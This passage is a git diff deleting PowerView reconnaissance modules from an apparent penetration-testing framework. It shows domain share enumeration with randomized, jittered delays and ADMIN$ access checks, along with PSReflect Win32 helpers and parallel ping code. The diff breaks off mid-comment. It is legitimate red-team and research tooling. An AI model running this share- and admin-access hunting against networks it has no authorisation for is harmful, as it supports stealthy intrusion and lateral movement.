- begin { - If ($PSBoundParameters['Debug']) { - $DebugPreference = 'Continue' - } - - # figure out the shares we want to ignore - [String[]] $excludedShares = @('') - - if ($ExcludePrint){ - $excludedShares = $excludedShares + "PRINT$" - } - if ($ExcludeIPC){ - $excludedShares = $excludedShares + "IPC$" - } - if ($ExcludeStandard){ - $excludedShares = @('', "ADMIN$", "IPC$", "C$", "PRINT$") - } - - # random object for delay - $randNo = New-Object System.Random - - # get the current user - $CurrentUser = Get-NetCurrentUser - - # get the target domain - if($Domain){ - $targetDomain = $Domain - } - else{ - # use the local domain - $targetDomain = $null - } - - Write-Verbose "[*] Running Invoke-ShareFinder with delay of $Delay" - if($targetDomain){ - Write-Version "[*] Domain: $targetDomain" - } - - # if we're using a host list, read the targets in and add them to the target list - if($HostList){ - if (Test-Path -Path $HostList){ - $Hosts = Get-Content -Path $HostList - } - else { - Write-Warning "[!] Input file '$HostList' doesn't exist!" - return $null - } - } - else{ - # otherwise, query the domain for target hosts - if($HostFilter){ - Write-Verbose "[*] Querying domain $targetDomain for hosts with filter '$HostFilter'" - $Hosts = Get-NetComputers -Domain $targetDomain -HostName $HostFilter - } - else { - Write-Verbose "[*] Querying domain $targetDomain for hosts..." - $Hosts = Get-NetComputers -Domain $targetDomain - } - } - } - - process{ - - if ( (-not ($Hosts)) -or ($Hosts.length -eq 0)) { - Write-Verbose "[*] Querying domain $targetDomain for hosts..." - $Hosts = Get-NetComputers -Domain $targetDomain - } - - # randomize the host list - $Hosts = Get-ShuffledArray $Hosts - - if(-not $NoPing){ - $Hosts = $Hosts | Invoke-Ping - } - - $counter = 0 - - foreach ($server in $Hosts){ - - $counter = $counter + 1 - - Write-Verbose "[*] Enumerating server $server ($counter of $($Hosts.count))" - - if ($server -ne ''){ - # sleep for our semi-randomized interval - Start-Sleep -Seconds $randNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) - - # get the shares for this host and display what we find - $shares = Get-NetShare -HostName $server - foreach ($share in $shares) { - Write-Debug "[*] Server share: $share" - $netname = $share.shi1_netname - $remark = $share.shi1_remark - $path = '\\'+$server+'\'+$netname - - # make sure we get a real share name back - if (($netname) -and ($netname.trim() -ne '')){ - - # if we're just checking for access to ADMIN$ - if($CheckAdmin){ - if($netname.ToUpper() -eq "ADMIN$"){ - try{ - $f=[IO.Directory]::GetFiles($path) - "\\$server\$netname `t- $remark" - } - catch {} - } - } - - # skip this share if it's in the exclude list - elseif ($excludedShares -notcontains $netname.ToUpper()){ - # see if we want to check access to this share - if($CheckShareAccess){ - # check if the user has access to this path - try{ - $f=[IO.Directory]::GetFiles($path) - "\\$server\$netname `t- $remark" - } - catch {} - } - else{ - "\\$server\$netname `t- $remark" - } - } - } - } - } - } - } -} - - -# expose the Win32API functions and datastructures below -# using PSReflect - -$Mod = New-InMemoryModule -ModuleName Win32 - -# all of the Win32 API functions we need -$FunctionDefinitions = @( - (func netapi32 NetShareEnum ([Int]) @([string], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), - (func netapi32 NetApiBufferFree ([Int]) @([IntPtr])), - (func kernel32 GetLastError ([Int]) @()) -) - -# the NetShareEnum result structure -$SHARE_INFO_1 = struct $Mod SHARE_INFO_1 @{ - shi1_netname = field 0 String -MarshalAs @('LPWStr') - shi1_type = field 1 UInt32 - shi1_remark = field 2 String -MarshalAs @('LPWStr') -} - - -$Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32' -$Netapi32 = $Types['netapi32'] -$Kernel32 = $Types['kernel32'] diff --git a/data/module_source/situational_awareness/network/Invoke-UserHunter.ps1 b/data/module_source/situational_awareness/network/Invoke-UserHunter.ps1 deleted file mode 100644 index 4adb0d2e6..000000000 --- a/data/module_source/situational_awareness/network/Invoke-UserHunter.ps1 +++ /dev/null @@ -1,3466 +0,0 @@ -#requires -version 2 - -<# - -Veil-PowerView v1.9 - -See README.md for more information. - -by @harmj0y -#> - - -# PSReflect code for Windows API access -# Author: @mattifestation -# https://raw.githubusercontent.com/mattifestation/PSReflect/master/PSReflect.psm1 -function New-InMemoryModule -{ -<# -.SYNOPSIS - -Creates an in-memory assembly and module - -Author: Matthew Graeber (@mattifestation) -License: BSD 3-Clause -Required Dependencies: None -Optional Dependencies: None - -.DESCRIPTION - -When defining custom enums, structs, and unmanaged functions, it is -necessary to associate to an assembly module. This helper function -creates an in-memory module that can be passed to the 'enum', -'struct', and Add-Win32Type functions. - -.PARAMETER ModuleName - -Specifies the desired name for the in-memory assembly and module. If -ModuleName is not provided, it will default to a GUID. - -.EXAMPLE - -$Module = New-InMemoryModule -ModuleName Win32 -#> - - Param - ( - [Parameter(Position = 0)] - [ValidateNotNullOrEmpty()] - [String] - $ModuleName = [Guid]::NewGuid().ToString() - ) - - $LoadedAssemblies = [AppDomain]::CurrentDomain.GetAssemblies() - - foreach ($Assembly in $LoadedAssemblies) { - if ($Assembly.FullName -and ($Assembly.FullName.Split(',')[0] -eq $ModuleName)) { - return $Assembly - } - } - - $DynAssembly = New-Object Reflection.AssemblyName($ModuleName) - $Domain = [AppDomain]::CurrentDomain - $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, 'Run') - $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule($ModuleName, $False) - - return $ModuleBuilder -} - - -# A helper function used to reduce typing while defining function -# prototypes for Add-Win32Type. -function func -{ - Param - ( - [Parameter(Position = 0, Mandatory = $True)] - [String] - $DllName, - - [Parameter(Position = 1, Mandatory = $True)] - [string] - $FunctionName, - - [Parameter(Position = 2, Mandatory = $True)] - [Type] - $ReturnType, - - [Parameter(Position = 3)] - [Type[]] - $ParameterTypes, - - [Parameter(Position = 4)] - [Runtime.InteropServices.CallingConvention] - $NativeCallingConvention, - - [Parameter(Position = 5)] - [Runtime.InteropServices.CharSet] - $Charset, - - [Switch] - $SetLastError - ) - - $Properties = @{ - DllName = $DllName - FunctionName = $FunctionName - ReturnType = $ReturnType - } - - if ($ParameterTypes) { $Properties['ParameterTypes'] = $ParameterTypes } - if ($NativeCallingConvention) { $Properties['NativeCallingConvention'] = $NativeCallingConvention } - if ($Charset) { $Properties['Charset'] = $Charset } - if ($SetLastError) { $Properties['SetLastError'] = $SetLastError } - - New-Object PSObject -Property $Properties -} - - -function Add-Win32Type -{ -<# -.SYNOPSIS - -Creates a .NET type for an unmanaged Win32 function. - -Author: Matthew Graeber (@mattifestation) -License: BSD 3-Clause -Required Dependencies: None -Optional Dependencies: func - -.DESCRIPTION - -Add-Win32Type enables you to easily interact with unmanaged (i.e. -Win32 unmanaged) functions in PowerShell. After providing -Add-Win32Type with a function signature, a .NET type is created -using reflection (i.e. csc.exe is never called like with Add-Type). - -The 'func' helper function can be used to reduce typing when defining -multiple function definitions. - -.PARAMETER DllName - -The name of the DLL. - -.PARAMETER FunctionName - -The name of the target function. - -.PARAMETER ReturnType - -The return type of the function. - -.PARAMETER ParameterTypes - -The function parameters. - -.PARAMETER NativeCallingConvention - -Specifies the native calling convention of the function. Defaults to -stdcall. - -.PARAMETER Charset - -If you need to explicitly call an 'A' or 'W' Win32 function, you can -specify the character set. - -.PARAMETER SetLastError - -Indicates whether the callee calls the SetLastError Win32 API -function before returning from the attributed method. - -.PARAMETER Module - -The in-memory module that will host the functions. Use -New-InMemoryModule to define an in-memory module. - -.PARAMETER Namespace - -An optional namespace to prepend to the type. Add-Win32Type defaults -to a namespace consisting only of the name of the DLL. - -.EXAMPLE - -$Mod = New-InMemoryModule -ModuleName Win32 - -$FunctionDefinitions = @( - (func kernel32 GetProcAddress ([IntPtr]) @([IntPtr], [String]) -Charset Ansi -SetLastError), - (func kernel32 GetModuleHandle ([Intptr]) @([String]) -SetLastError), - (func ntdll RtlGetCurrentPeb ([IntPtr]) @()) -) - -$Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32' -$Kernel32 = $Types['kernel32'] -$Ntdll = $Types['ntdll'] -$Ntdll::RtlGetCurrentPeb() -$ntdllbase = $Kernel32::GetModuleHandle('ntdll') -$Kernel32::GetProcAddress($ntdllbase, 'RtlGetCurrentPeb') - -.NOTES - -Inspired by Lee Holmes' Invoke-WindowsApi http://poshcode.org/2189 - -When defining multiple function prototypes, it is ideal to provide -Add-Win32Type with an array of function signatures. That way, they -are all incorporated into the same in-memory module. -#> - - [OutputType([Hashtable])] - Param( - [Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)] - [String] - $DllName, - - [Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)] - [String] - $FunctionName, - - [Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)] - [Type] - $ReturnType, - - [Parameter(ValueFromPipelineByPropertyName = $True)] - [Type[]] - $ParameterTypes, - - [Parameter(ValueFromPipelineByPropertyName = $True)] - [Runtime.InteropServices.CallingConvention] - $NativeCallingConvention = [Runtime.InteropServices.CallingConvention]::StdCall, - - [Parameter(ValueFromPipelineByPropertyName = $True)] - [Runtime.InteropServices.CharSet] - $Charset = [Runtime.InteropServices.CharSet]::Auto, - - [Parameter(ValueFromPipelineByPropertyName = $True)] - [Switch] - $SetLastError, - - [Parameter(Mandatory = $True)] - [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})] - $Module, - - [ValidateNotNull()] - [String] - $Namespace = '' - ) - - BEGIN - { - $TypeHash = @{} - } - - PROCESS - { - if ($Module -is [Reflection.Assembly]) - { - if ($Namespace) - { - $TypeHash[$DllName] = $Module.GetType("$Namespace.$DllName") - } - else - { - $TypeHash[$DllName] = $Module.GetType($DllName) - } - } - else - { - # Define one type for each DLL - if (!$TypeHash.ContainsKey($DllName)) - { - if ($Namespace) - { - $TypeHash[$DllName] = $Module.DefineType("$Namespace.$DllName", 'Public,BeforeFieldInit') - } - else - { - $TypeHash[$DllName] = $Module.DefineType($DllName, 'Public,BeforeFieldInit') - } - } - - $Method = $TypeHash[$DllName].DefineMethod( - $FunctionName, - 'Public,Static,PinvokeImpl', - $ReturnType, - $ParameterTypes) - - # Make each ByRef parameter an Out parameter - $i = 1 - foreach($Parameter in $ParameterTypes) - { - if ($Parameter.IsByRef) - { - [void] $Method.DefineParameter($i, 'Out', $null) - } - - $i++ - } - - $DllImport = [Runtime.InteropServices.DllImportAttribute] - $SetLastErrorField = $DllImport.GetField('SetLastError') - $CallingConventionField = $DllImport.GetField('CallingConvention') - $CharsetField = $DllImport.GetField('CharSet') - if ($SetLastError) { $SLEValue = $True } else { $SLEValue = $False } - - # Equivalent to C# version of [DllImport(DllName)] - $Constructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor([String]) - $DllImportAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($Constructor, - $DllName, [Reflection.PropertyInfo[]] @(), [Object[]] @(), - [Reflection.FieldInfo[]] @($SetLastErrorField, $CallingConventionField, $CharsetField), - [Object[]] @($SLEValue, ([Runtime.InteropServices.CallingConvention] $NativeCallingConvention), ([Runtime.InteropServices.CharSet] $Charset))) - - $Method.SetCustomAttribute($DllImportAttribute) - } - } - - END - { - if ($Module -is [Reflection.Assembly]) - { - return $TypeHash - } - - $ReturnTypes = @{} - - foreach ($Key in $TypeHash.Keys) - { - $Type = $TypeHash[$Key].CreateType() - - $ReturnTypes[$Key] = $Type - } - - return $ReturnTypes - } -} - - -function psenum -{ -<# -.SYNOPSIS - -Creates an in-memory enumeration for use in your PowerShell session. - -Author: Matthew Graeber (@mattifestation) -License: BSD 3-Clause -Required Dependencies: None -Optional Dependencies: None - -.DESCRIPTION - -The 'psenum' function facilitates the creation of enums entirely in -memory using as close to a "C style" as PowerShell will allow. - -.PARAMETER Module - -The in-memory module that will host the enum. Use -New-InMemoryModule to define an in-memory module. - -.PARAMETER FullName - -The fully-qualified name of the enum. - -.PARAMETER Type - -The type of each enum element. - -.PARAMETER EnumElements - -A hashtable of enum elements. - -.PARAMETER Bitfield - -Specifies that the enum should be treated as a bitfield. - -.EXAMPLE - -$Mod = New-InMemoryModule -ModuleName Win32 - -$ImageSubsystem = psenum $Mod PE.IMAGE_SUBSYSTEM UInt16 @{ - UNKNOWN = 0 - NATIVE = 1 # Image doesn't require a subsystem. - WINDOWS_GUI = 2 # Image runs in the Windows GUI subsystem. - WINDOWS_CUI = 3 # Image runs in the Windows character subsystem. - OS2_CUI = 5 # Image runs in the OS/2 character subsystem. - POSIX_CUI = 7 # Image runs in the Posix character subsystem. - NATIVE_WINDOWS = 8 # Image is a native Win9x driver. - WINDOWS_CE_GUI = 9 # Image runs in the Windows CE subsystem. - EFI_APPLICATION = 10 - EFI_BOOT_SERVICE_DRIVER = 11 - EFI_RUNTIME_DRIVER = 12 - EFI_ROM = 13 - XBOX = 14 - WINDOWS_BOOT_APPLICATION = 16 -} - -.NOTES - -PowerShell purists may disagree with the naming of this function but -again, this was developed in such a way so as to emulate a "C style" -definition as closely as possible. Sorry, I'm not going to name it -New-Enum. :P -#> - - [OutputType([Type])] - Param - ( - [Parameter(Position = 0, Mandatory = $True)] - [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})] - $Module, - - [Parameter(Position = 1, Mandatory = $True)] - [ValidateNotNullOrEmpty()] - [String] - $FullName, - - [Parameter(Position = 2, Mandatory = $True)] - [Type] - $Type, - - [Parameter(Position = 3, Mandatory = $True)] - [ValidateNotNullOrEmpty()] - [Hashtable] - $EnumElements, - - [Switch] - $Bitfield - ) - - if ($Module -is [Reflection.Assembly]) - { - return ($Module.GetType($FullName)) - } - - $EnumType = $Type -as [Type] - - $EnumBuilder = $Module.DefineEnum($FullName, 'Public', $EnumType) - - if ($Bitfield) - { - $FlagsConstructor = [FlagsAttribute].GetConstructor(@()) - $FlagsCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($FlagsConstructor, @()) - $EnumBuilder.SetCustomAttribute($FlagsCustomAttribute) - } - - foreach ($Key in $EnumElements.Keys) - { - # Apply the specified enum type to each element - $null = $EnumBuilder.DefineLiteral($Key, $EnumElements[$Key] -as $EnumType) - } - - $EnumBuilder.CreateType() -} - - -# A helper function used to reduce typing while defining struct -# fields. -function field -{ - Param - ( - [Parameter(Position = 0, Mandatory = $True)] - [UInt16] - $Position, - - [Parameter(Position = 1, Mandatory = $True)] - [Type] - $Type, - - [Parameter(Position = 2)] - [UInt16] - $Offset, - - [Object[]] - $MarshalAs - ) - - @{ - Position = $Position - Type = $Type -as [Type] - Offset = $Offset - MarshalAs = $MarshalAs - } -} - - -function struct -{ -<# -.SYNOPSIS - -Creates an in-memory struct for use in your PowerShell session. - -Author: Matthew Graeber (@mattifestation) -License: BSD 3-Clause -Required Dependencies: None -Optional Dependencies: field - -.DESCRIPTION - -The 'struct' function facilitates the creation of structs entirely in -memory using as close to a "C style" as PowerShell will allow. Struct -fields are specified using a hashtable where each field of the struct -is comprosed of the order in which it should be defined, its .NET -type, and optionally, its offset and special marshaling attributes. - -One of the features of 'struct' is that after your struct is defined, -it will come with a built-in GetSize method as well as an explicit -converter so that you can easily cast an IntPtr to the struct without -relying upon calling SizeOf and/or PtrToStructure in the Marshal -class. - -.PARAMETER Module - -The in-memory module that will host the struct. Use -New-InMemoryModule to define an in-memory module. - -.PARAMETER FullName - -The fully-qualified name of the struct. - -.PARAMETER StructFields - -A hashtable of fields. Use the 'field' helper function to ease -defining each field. - -.PARAMETER PackingSize - -Specifies the memory alignment of fields. - -.PARAMETER ExplicitLayout - -Indicates that an explicit offset for each field will be specified. - -.EXAMPLE - -$Mod = New-InMemoryModule -ModuleName Win32 - -$ImageDosSignature = psenum $Mod PE.IMAGE_DOS_SIGNATURE UInt16 @{ - DOS_SIGNATURE = 0x5A4D - OS2_SIGNATURE = 0x454E - OS2_SIGNATURE_LE = 0x454C - VXD_SIGNATURE = 0x454C -} - -$ImageDosHeader = struct $Mod PE.IMAGE_DOS_HEADER @{ - e_magic = field 0 $ImageDosSignature - e_cblp = field 1 UInt16 - e_cp = field 2 UInt16 - e_crlc = field 3 UInt16 - e_cparhdr = field 4 UInt16 - e_minalloc = field 5 UInt16 - e_maxalloc = field 6 UInt16 - e_ss = field 7 UInt16 - e_sp = field 8 UInt16 - e_csum = field 9 UInt16 - e_ip = field 10 UInt16 - e_cs = field 11 UInt16 - e_lfarlc = field 12 UInt16 - e_ovno = field 13 UInt16 - e_res = field 14 UInt16[] -MarshalAs @('ByValArray', 4) - e_oemid = field 15 UInt16 - e_oeminfo = field 16 UInt16 - e_res2 = field 17 UInt16[] -MarshalAs @('ByValArray', 10) - e_lfanew = field 18 Int32 -} - -# Example of using an explicit layout in order to create a union. -$TestUnion = struct $Mod TestUnion @{ - field1 = field 0 UInt32 0 - field2 = field 1 IntPtr 0 -} -ExplicitLayout - -.NOTES - -PowerShell purists may disagree with the naming of this function but -again, this was developed in such a way so as to emulate a "C style" -definition as closely as possible. Sorry, I'm not going to name it -New-Struct. :P -#> - - [OutputType([Type])] - Param - ( - [Parameter(Position = 1, Mandatory = $True)] - [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})] - $Module, - - [Parameter(Position = 2, Mandatory = $True)] - [ValidateNotNullOrEmpty()] - [String] - $FullName, - - [Parameter(Position = 3, Mandatory = $True)] - [ValidateNotNullOrEmpty()] - [Hashtable] - $StructFields, - - [Reflection.Emit.PackingSize] - $PackingSize = [Reflection.Emit.PackingSize]::Unspecified, - - [Switch] - $ExplicitLayout - ) - - if ($Module -is [Reflection.Assembly]) - { - return ($Module.GetType($FullName)) - } - - [Reflection.TypeAttributes] $StructAttributes = 'AnsiClass, - Class, - Public, - Sealed, - BeforeFieldInit' - - if ($ExplicitLayout) - { - $StructAttributes = $StructAttributes -bor [Reflection.TypeAttributes]::ExplicitLayout - } - else - { - $StructAttributes = $StructAttributes -bor [Reflection.TypeAttributes]::SequentialLayout - } - - $StructBuilder = $Module.DefineType($FullName, $StructAttributes, [ValueType], $PackingSize) - $ConstructorInfo = [Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0] - $SizeConst = @([Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst')) - - $Fields = New-Object Hashtable[]($StructFields.Count) - - # Sort each field according to the orders specified - # Unfortunately, PSv2 doesn't have the luxury of the - # hashtable [Ordered] accelerator. - foreach ($Field in $StructFields.Keys) - { - $Index = $StructFields[$Field]['Position'] - $Fields[$Index] = @{FieldName = $Field; Properties = $StructFields[$Field]} - } - - foreach ($Field in $Fields) - { - $FieldName = $Field['FieldName'] - $FieldProp = $Field['Properties'] - - $Offset = $FieldProp['Offset'] - $Type = $FieldProp['Type'] - $MarshalAs = $FieldProp['MarshalAs'] - - $NewField = $StructBuilder.DefineField($FieldName, $Type, 'Public') - - if ($MarshalAs) - { - $UnmanagedType = $MarshalAs[0] -as ([Runtime.InteropServices.UnmanagedType]) - if ($MarshalAs[1]) - { - $Size = $MarshalAs[1] - $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, - $UnmanagedType, $SizeConst, @($Size)) - } - else - { - $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, [Object[]] @($UnmanagedType)) - } - - $NewField.SetCustomAttribute($AttribBuilder) - } - - if ($ExplicitLayout) { $NewField.SetOffset($Offset) } - } - - # Make the struct aware of its own size. - # No more having to call [Runtime.InteropServices.Marshal]::SizeOf! - $SizeMethod = $StructBuilder.DefineMethod('GetSize', - 'Public, Static', - [Int], - [Type[]] @()) - $ILGenerator = $SizeMethod.GetILGenerator() - # Thanks for the help, Jason Shirk! - $ILGenerator.Emit([Reflection.Emit.OpCodes]::Ldtoken, $StructBuilder) - $ILGenerator.Emit([Reflection.Emit.OpCodes]::Call, - [Type].GetMethod('GetTypeFromHandle')) - $ILGenerator.Emit([Reflection.Emit.OpCodes]::Call, - [Runtime.InteropServices.Marshal].GetMethod('SizeOf', [Type[]] @([Type]))) - $ILGenerator.Emit([Reflection.Emit.OpCodes]::Ret) - - # Allow for explicit casting from an IntPtr - # No more having to call [Runtime.InteropServices.Marshal]::PtrToStructure! - $ImplicitConverter = $StructBuilder.DefineMethod('op_Implicit', - 'PrivateScope, Public, Static, HideBySig, SpecialName', - $StructBuilder, - [Type[]] @([IntPtr])) - $ILGenerator2 = $ImplicitConverter.GetILGenerator() - $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Nop) - $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ldarg_0) - $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ldtoken, $StructBuilder) - $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Call, - [Type].GetMethod('GetTypeFromHandle')) - $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Call, - [Runtime.InteropServices.Marshal].GetMethod('PtrToStructure', [Type[]] @([IntPtr], [Type]))) - $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Unbox_Any, $StructBuilder) - $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ret) - - $StructBuilder.CreateType() -} - - -function Get-ShuffledArray { - <# - .SYNOPSIS - Returns a randomly-shuffled version of a passed array. - - .DESCRIPTION - This function takes an array and returns a randomly-shuffled - version. - - .PARAMETER Array - The passed array to shuffle. - - .OUTPUTS - System.Array. The passed array but shuffled. - - .EXAMPLE - > $shuffled = Get-ShuffledArray $array - Get a shuffled version of $array. - - .LINK - http://sqlchow.wordpress.com/2013/03/04/shuffle-the-deck-using-powershell/ - #> - [CmdletBinding()] - param( - [Parameter(Mandatory=$True,ValueFromPipeline=$True)] - [Array]$Array - ) - Begin{} - Process{ - $len = $Array.Length - while($len){ - $i = Get-Random ($len --) - $tmp = $Array[$len] - $Array[$len] = $Array[$i] - $Array[$i] = $tmp - } - $Array; - } -} - - - -function Get-HostIP { - <# - .SYNOPSIS - Takes a hostname and resolves it an IP. - - .DESCRIPTION - This function resolves a given hostename to its associated IPv4 - address. If no hostname is provided, it defaults to returning - the IP address of the local host the script be being run on. - - .OUTPUTS - System.String. The IPv4 address. - - .EXAMPLE - > Get-HostIP -hostname SERVER - Return the IPv4 address of 'SERVER' - #> - - [CmdletBinding()] - param( - [Parameter(Position=0,ValueFromPipeline=$true)] - [string] - $hostname = '' - ) - process { - try{ - # get the IP resolution of this specified hostname - $results = @(([net.dns]::GetHostEntry($hostname)).AddressList) - - if ($results.Count -ne 0){ - foreach ($result in $results) { - # make sure the returned result is IPv4 - if ($result.AddressFamily -eq 'InterNetwork') { - $result.IPAddressToString - } - } - } - } - catch{ - Write-Verbose -Message 'Could not resolve host to an IP Address.' - } - } - end {} -} - - -# adapted from RamblingCookieMonster's code at -# https://github.com/RamblingCookieMonster/PowerShell/blob/master/Invoke-Ping.ps1 -function Invoke-Ping { -<# -.SYNOPSIS - Ping systems in parallel - Author: RamblingCookieMonster - -.PARAMETER ComputerName - One or more computers to test - -.PARAMETER Timeout - Time in seconds before we attempt to dispose an individual query. Default is 20 - -.PARAMETER Throttle - Throttle query to this many parallel runspaces. Default is 100. - -.PARAMETER NoCloseOnTimeout - Do not dispose of timed out tasks or attempt to close the runspace if threads have timed out - - This will prevent the script from hanging in certain situations where threads become non-responsive, at the expense of leaking memory within the PowerShell host. - -.EXAMPLE - $Responding = $Computers | Invoke-Ping - - # Create a list of computers that successfully responded to Test-Connection - -.LINK - https://github.com/RamblingCookieMonster/PowerShell/blob/master/Invoke-Ping.ps1 - https://gallery.technet.microsoft.com/scriptcenter/Invoke-Ping-Test-in-b553242a -#> - - [cmdletbinding(DefaultParameterSetName='Ping')] - param( - [Parameter( ValueFromPipeline=$true, - ValueFromPipelineByPropertyName=$true, - Position=0)] - [string[]]$ComputerName, - - [int]$Timeout = 20, - - [int]$Throttle = 100, - - [switch]$NoCloseOnTimeout - ) - - Begin - { - $Quiet = $True - - #http://gallery.technet.microsoft.com/Run-Parallel-Parallel-377fd430 - function Invoke-Parallel { - [cmdletbinding(DefaultParameterSetName='ScriptBlock')] - Param ( - [Parameter(Mandatory=$false,position=0,ParameterSetName='ScriptBlock')] - [System.Management.Automation.ScriptBlock]$ScriptBlock, - - [Parameter(Mandatory=$false,ParameterSetName='ScriptFile')] - [ValidateScript({test-path $_ -pathtype leaf})] - $ScriptFile, - - [Parameter(Mandatory=$true,ValueFromPipeline=$true)] - [Alias('CN','__Server','IPAddress','Server','ComputerName')] - [PSObject]$InputObject, - - [PSObject]$Parameter, - - [switch]$ImportVariables, - - [switch]$ImportModules, - - [int]$Throttle = 20, - - [int]$SleepTimer = 200, - - [int]$RunspaceTimeout = 0, - - [switch]$NoCloseOnTimeout = $false, - - [int]$MaxQueue, - - [switch] $Quiet = $false - ) - - Begin { - - #No max queue specified? Estimate one. - #We use the script scope to resolve an odd PowerShell 2 issue where MaxQueue isn't seen later in the function - if( -not $PSBoundParameters.ContainsKey('MaxQueue') ) - { - if($RunspaceTimeout -ne 0){ $script:MaxQueue = $Throttle } - else{ $script:MaxQueue = $Throttle * 3 } - } - else - { - $script:MaxQueue = $MaxQueue - } - - Write-Verbose "Throttle: '$throttle' SleepTimer '$sleepTimer' runSpaceTimeout '$runspaceTimeout' maxQueue '$maxQueue'" - - #If they want to import variables or modules, create a clean runspace, get loaded items, use those to exclude items - if ($ImportVariables -or $ImportModules) - { - $StandardUserEnv = [powershell]::Create().addscript({ - - #Get modules and snapins in this clean runspace - $Modules = Get-Module | Select -ExpandProperty Name - $Snapins = Get-PSSnapin | Select -ExpandProperty Name - - #Get variables in this clean runspace - #Called last to get vars like $? into session - $Variables = Get-Variable | Select -ExpandProperty Name - - #Return a hashtable where we can access each. - @{ - Variables = $Variables - Modules = $Modules - Snapins = $Snapins - } - }).invoke()[0] - - if ($ImportVariables) { - #Exclude common parameters, bound parameters, and automatic variables - Function _temp {[cmdletbinding()] param() } - $VariablesToExclude = @( (Get-Command _temp | Select -ExpandProperty parameters).Keys + $PSBoundParameters.Keys + $StandardUserEnv.Variables ) - Write-Verbose "Excluding variables $( ($VariablesToExclude | sort ) -join ", ")" - - # we don't use 'Get-Variable -Exclude', because it uses regexps. - # One of the veriables that we pass is '$?'. - # There could be other variables with such problems. - # Scope 2 required if we move to a real module - $UserVariables = @( Get-Variable | Where { -not ($VariablesToExclude -contains $_.Name) } ) - Write-Verbose "Found variables to import: $( ($UserVariables | Select -expandproperty Name | Sort ) -join ", " | Out-String).`n" - - } - - if ($ImportModules) - { - $UserModules = @( Get-Module | Where {$StandardUserEnv.Modules -notcontains $_.Name -and (Test-Path $_.Path -ErrorAction SilentlyContinue)} | Select -ExpandProperty Path ) - $UserSnapins = @( Get-PSSnapin | Select -ExpandProperty Name | Where {$StandardUserEnv.Snapins -notcontains $_ } ) - } - } - - #region functions - - Function Get-RunspaceData { - [cmdletbinding()] - param( [switch]$Wait ) - - #loop through runspaces - #if $wait is specified, keep looping until all complete - Do { - - #set more to false for tracking completion - $more = $false - - #run through each runspace. - Foreach($runspace in $runspaces) { - - #get the duration - inaccurate - $currentdate = Get-Date - $runtime = $currentdate - $runspace.startTime - $runMin = [math]::Round( $runtime.totalminutes ,2 ) - - #set up log object - $log = "" | select Date, Action, Runtime, Status, Details - $log.Action = "Removing:'$($runspace.object)'" - $log.Date = $currentdate - $log.Runtime = "$runMin minutes" - - #If runspace completed, end invoke, dispose, recycle, counter++ - If ($runspace.Runspace.isCompleted) { - - $script:completedCount++ - - #check if there were errors - if($runspace.powershell.Streams.Error.Count -gt 0) { - - #set the logging info and move the file to completed - $log.status = "CompletedWithErrors" - Write-Verbose ($log | ConvertTo-Csv -Delimiter ";" -NoTypeInformation)[1] - foreach($ErrorRecord in $runspace.powershell.Streams.Error) { - Write-Error -ErrorRecord $ErrorRecord - } - } - else { - - #add logging details and cleanup - $log.status = "Completed" - Write-Verbose ($log | ConvertTo-Csv -Delimiter ";" -NoTypeInformation)[1] - } - - #everything is logged, clean up the runspace - $runspace.powershell.EndInvoke($runspace.Runspace) - $runspace.powershell.dispose() - $runspace.Runspace = $null - $runspace.powershell = $null - - } - - #If runtime exceeds max, dispose the runspace - ElseIf ( $runspaceTimeout -ne 0 -and $runtime.totalseconds -gt $runspaceTimeout) { - - $script:completedCount++ - $timedOutTasks = $true - - #add logging details and cleanup - $log.status = "TimedOut" - Write-Verbose ($log | ConvertTo-Csv -Delimiter ";" -NoTypeInformation)[1] - Write-Error "Runspace timed out at $($runtime.totalseconds) seconds for the object:`n$($runspace.object | out-string)" - - #Depending on how it hangs, we could still get stuck here as dispose calls a synchronous method on the powershell instance - if (!$noCloseOnTimeout) { $runspace.powershell.dispose() } - $runspace.Runspace = $null - $runspace.powershell = $null - $completedCount++ - - } - - #If runspace isn't null set more to true - ElseIf ($runspace.Runspace -ne $null ) { - $log = $null - $more = $true - } - } - - #Clean out unused runspace jobs - $temphash = $runspaces.clone() - $temphash | Where { $_.runspace -eq $Null } | ForEach { - $Runspaces.remove($_) - } - - #sleep for a bit if we will loop again - if($PSBoundParameters['Wait']){ Start-Sleep -milliseconds $SleepTimer } - - #Loop again only if -wait parameter and there are more runspaces to process - } while ($more -and $PSBoundParameters['Wait']) - - #End of runspace function - } - - #endregion functions - - #region Init - - if($PSCmdlet.ParameterSetName -eq 'ScriptFile') - { - $ScriptBlock = [scriptblock]::Create( $(Get-Content $ScriptFile | out-string) ) - } - elseif($PSCmdlet.ParameterSetName -eq 'ScriptBlock') - { - #Start building parameter names for the param block - [string[]]$ParamsToAdd = '$_' - if( $PSBoundParameters.ContainsKey('Parameter') ) - { - $ParamsToAdd += '$Parameter' - } - - $UsingVariableData = $Null - - # This code enables $Using support through the AST. - # This is entirely from Boe Prox, and his 